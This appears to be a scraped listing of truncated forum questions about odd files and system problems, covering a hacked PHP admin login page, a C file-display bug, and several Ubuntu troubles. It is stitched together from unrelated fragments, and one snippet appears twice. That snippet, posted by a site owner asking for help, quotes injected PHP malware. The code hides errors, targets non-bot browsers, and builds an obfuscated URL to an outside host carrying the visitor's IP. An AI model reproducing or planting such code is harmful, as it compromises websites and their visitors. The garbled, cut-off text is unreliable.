Wierd files on server


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Hi,
I discovered that on Dec 25th and on Jan 4th some files where
changed on a server account, I found the following code added to the
file that is used to login to an admin side of an admin account: />Syntax: [ Download ] [ Hide ]SXBB[id].writeCmd();Syntax: [ Download
] [ Show ]<?php
#4f9ad5#
error_reporting(0);
ini_set('display_errors',0); $wp_li1101 =
@$_SERVER['HTTP_USER_AGENT'];
if (( preg_match
('/Gecko|MSIE/i', $wp_li1101) && !preg_match
('/bot/i', $wp_li1101))){ />$wp_li091101="http://"."error"."css".".com/css"."/?ip=".$_
Hi, this question is about displaying a text file on the scree, but
don't get mad (please).
I have made several functions that
display text files, but now I'm having a strange problem. My program
handles different type of files, one of them is file_name.mat
(materials files). This files are of the type:
5.00 2500.00 />7.00 5000.00
9.00 7500.00
Being the left column diameters
and the right column breaking loads.
I have a function that
creates materials, one that loads materials and one that display the
properties of the materials.
I wrote the code for the three of
them, it compiled with no errors and it r
C & C++ & C#
Hi,
I discovered that on Dec 25th and on Jan 4th some files where
changed on a server account, I found the following code added to the
file that is used to login to an admin side of an admin account: />Syntax: [ Download ] [ Hide ]SXBB[id].writeCmd();Syntax: [ Download
] [ Show ]<?php
#4f9ad5#
error_reporting(0);
ini_set('display_errors',0); $wp_li1101 =
@$_SERVER['HTTP_USER_AGENT'];
if (( preg_match
('/Gecko|MSIE/i', $wp_li1101) && !preg_match
('/bot/i', $wp_li1101))){ />$wp_li091101="http://"."error"."css".".com/css"."/?ip=".$_
Linux
Its kinda weird when you open your home dir one day and find a file
named omginstlog.txt with no recollection of making it.
content
as folows:
"
9-1-2007 19:26:15 - Administrator />"
any idea where the hell that could have came from? />anyone else get anything weird like this?
-rob
Ubuntu
Hi,
I am using Ubuntu Heron (quite new to Ubuntu).
I am
getting weird characters displayed when viewing the help files (mostly
HTML files). I searched for this bug in the web but found no help. />I am attaching an image file herewith which displays this bug. Can
anyone please help me on this regard?
Ubuntu
I'm not sure how to describe my problem. I have been using Ubuntu on
this computer for over a year when all of the sudden it has been
screwing up in some strange ways. When I turned my computer on
yesterday, everything was fine. I then check a few websites and listen
to some music. I did not download anything or go to any websites that
I haven't been to a thousand times before. Both my music player and
Firefox then stop working and I can't open up any new programs, so I
restart my computer. It is unable to start, saying "Target File
System doesn't have /sbin/init". I read up on how to fix that
problem, and successfully (or so I thought) fix the problem by
entering GRUB recovery mod
Ubuntu
ok i woke up this morning and my pc had been restarted. i looked at
the log files and saw some thing that i dont know what they are. im
more curious than anything. if someone can tell me what is going on
here that would be great thanks
auth.log
class="bbcode_container"> class="bbcode_description">Code:
Aug
12 07:35:05 allen-desktop sudo:    root : TTY=unknown ;
PWD=/ ; USER=allen ; COMMAND=/usr/bin/gconftool --get
/system/http_proxy/use_http_proxy
Aug 12 07:35:05 allen-desktop
sudo: pam_unix(sudo:session): session opened for user allen by
(uid=0)
Aug 12 07:35:05 allen-desktop sudo: pam_unix(sudo:se
Ubuntu

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